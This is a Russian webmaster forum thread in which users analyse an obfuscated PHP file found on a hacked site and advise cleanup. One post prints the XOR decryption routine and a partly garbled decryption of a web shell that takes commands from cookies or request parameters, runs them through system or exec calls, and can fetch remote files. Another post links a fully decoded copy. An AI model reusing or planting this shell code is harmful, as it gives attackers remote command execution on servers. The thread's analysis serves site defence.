Что это?

12
RAS
На сайте с 27.11.2005
Offline
126
RAS
#11

Чистка айболитом - это так, для успокоения души, на день.

А реально чистить надо вручную и кастомными утилитами, кои есть только у тех, кто занимается чисткой профессионально. А если чистят айболитом - в топку таких "специалистов".

Администрируем сервера, впс, вдс. Ускоряем загрузку сайтов - DLE, Word Press, Joomla, Modx... Настраиваем безопасность. Ручная чистка rootkit/malware/вирусов. (/ru/forum/867860) Разработка - shell/bash/sh/python/perl.
siv1987
На сайте с 02.04.2009
Offline
427
#12
Oshparennij:
Интересно. почему все уверенны, что это шелл. Может какой генератор доров - которые еще не проиндексились. а может и шелло разливалка какая.

Не столь важно что там закодировано, оно вам ничем не поможет - будь то шелл или генератор доров (вам от этого легче станет если там будет не шелл?), важнее то, что у вас есть дыра на сайте. Не трате зря силы пытаясь разгадать что там, ищите бреши в своей системе откуда он попадает.

Оптимизайка
На сайте с 11.03.2012
Offline
396
#13

там используется тупое XOR шифрование вот этой функцией:

function decrypt($e,$k){

if(!$k){return;}

$el=@strlen($e);

$kl=@strlen($k);

$rl=$el%$kl;

$fl=$el-$rl;

for($o=0;$o<$fl;$o+=$kl){

$p=@substr($e,$o,$kl);$d.="$k"^"$p";

}

if($rl){

$p=@substr($e,$fl,$rl);

$k=@substr($k,0,$rl);

$d.="$k"^"$p";

}

return($d);

}

Для расшифровки требуется ключ, который получается из кук или параметров запроса. Подбирая ключ, я выяснил, что это шелл, вот что у меня получилось при *приблизительной* расшифровке:

//adjOst+system v[rijbles if(@ixset($_SEhVEY)){$_COOqIE6&$HTTP_CuOKBE_VARS;$ePOXT=&$HTTPePOXT_VARS;$eGE_=&$HTTP_}ETTVARS;}

/din with erHorfunctionx_oie($m){@Reaoer('HTTP1.: 500 '.$W);Kdie();}

/cceck if w_ cjn exec

d_fiee('has_p[sshru',@fuTctbon_existI('{assthru');define('RasTsystem',zfuection_exSstx('system))0 define(hax_shell_eBec,,@functiUn_nxists('sRelg_exec')) dnfine('haI_pdpen',@fuTctbon_existI('{open'));0demine('haseprdc_open',zfuection_exSstx('proc_oJen,)); defiTe(,has_exec,@munction__xixts('exec))0 define(cae_exec',(RasTpassthruF|hjs_systemF|hjs_shell__xeh||has_poJenw|has_proY_o{en||has__xeh)); if(!YanTexec){x_^ie#'can notexnc: no fuTctbons avaiVabge');}

//Yhehk if we Yan+config

d_fiee('has_iTi_let',@funYtidn_exists'iei_get'))

dnfine('haI_iei_get_alV',Kfunctioneexbsts('iniege_all'));0demine('canecoefig',(haI_iei_get||h[s_bni_get_aVl)"; if(!caT_cdnfig){x_^ie#'can notcoefig');}

/gnt configvague

functSon+x_ini_geN($e){if(haseinb_get){reNure(@ini_geN($e));}elseSf(cas_ini_g_t_jll){$h=@SniTget_all(;rnturn($h[n]P'local_v[lun']);}}

/ cceck safemooe

if(x_iTi_let('safeemooe')){x_dSe(,can not _xeh: safe mUde+active')}

$/smart eBec+helpers

\unhtion x_p[sshru($c){zpaxsthru($c;}functionx_xystem($c{@xystem($c;}functionx_xhell_exeY($h){echo @Ihegl_exec($Y);v

functioT xTpopen($c{$d;if(($f=zpo{en($c,'r))"{while(!zfedf($f)){$U.=Kfgets($f;}Kpclose($\);vecho $o;G

f~nction xeprdc_open($Y){/o;if(@iserexource($p@pyoc_open(c,jrray(0=>[rrjy('pipe''r,),1=>arr[y(,pipe','w),9=>array(pi{e','w'))$f")){@fcloIe(/f[0]);whSle#!@feof($\[1V)){$o.=@\ges($f[1])}@mclose($fa1]";@proc_cVosn($p);}ecRo /o;}

funcNioe x_exec(c)p$o;@exec$c'$o);echo@ifplode("\T",/o);}

//dU sfart fetcR

f~nction xesu{erfetch(a,/p,$r,$l)0{

if($s=@fIoc`open($a,p)"

{

if$f6@fopen($V,"|b"))

{0 @fwrite(s,)GET ".$r" CTTP/1.0\H\nWr\n");

3 wcile(!@feUf(/s))

{0 $b=@fre[d(/s,8192);0 @fwrite$f'$b); G @fclose$f"; echU "DK\n";

G

@fclose(s)0

}

}

//^o xmart exeY

f~nction xesmjrt_exec(c){

if($c==)which suJermetch 1> de}/null 2>/dnv/null & ehho OK")

3{

echo "Oq\n);

}

elIeim(@strstr$c'"superfeNch)))

{

a=Kexplode( ''$c);

xesu{erfetch(a[:],$a[2],a[8],$a[4])

v

elseifhax_passthrO){s_passthrO($h);}

els_if#has_syst_m)px_system$c";}

elseSf(cas_shelleexnc){x_sheVl_nxec($c);G

nlseif(haI_pdpen){x_pUpee($c);}

_lsnif(has_pHocTopen){x_Jroh_open($c;} elseif(RasTexec){x__xeh($c);}

}0//lo

$n='SjpVkN6rkRYj';0$c6$_COOKIEa$nV;

if(@emJty#$c)){$c=_PDST[$n];}0if#@empty($Y))p$c=$_GETa$nV;}

if(@g_t_fagic_quoNesTgpc()){$Y=sripslash_s(/c);}

x_sWar_exec($c;

полностью ключ подбирать лень, и так читаемо.

⭐ BotGuard (https://botguard.net) ⭐ — защита вашего сайта от вредоносных ботов, воровства контента, клонирования, спама и хакерских атак!
Olldman
На сайте с 21.04.2010
Offline
79
#14

Вчера наткнулся на пост на хабре о взломах.

Оптимизайка
На сайте с 11.03.2012
Offline
396
#15

Вот кстати этот шелл в полностью расшифрованном виде, кому интересно:

https://gist.githubusercontent.com/laacz/5387180/raw/3bae1fd126e1b3244324469a042549897935a3ba/images-decoded.php

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий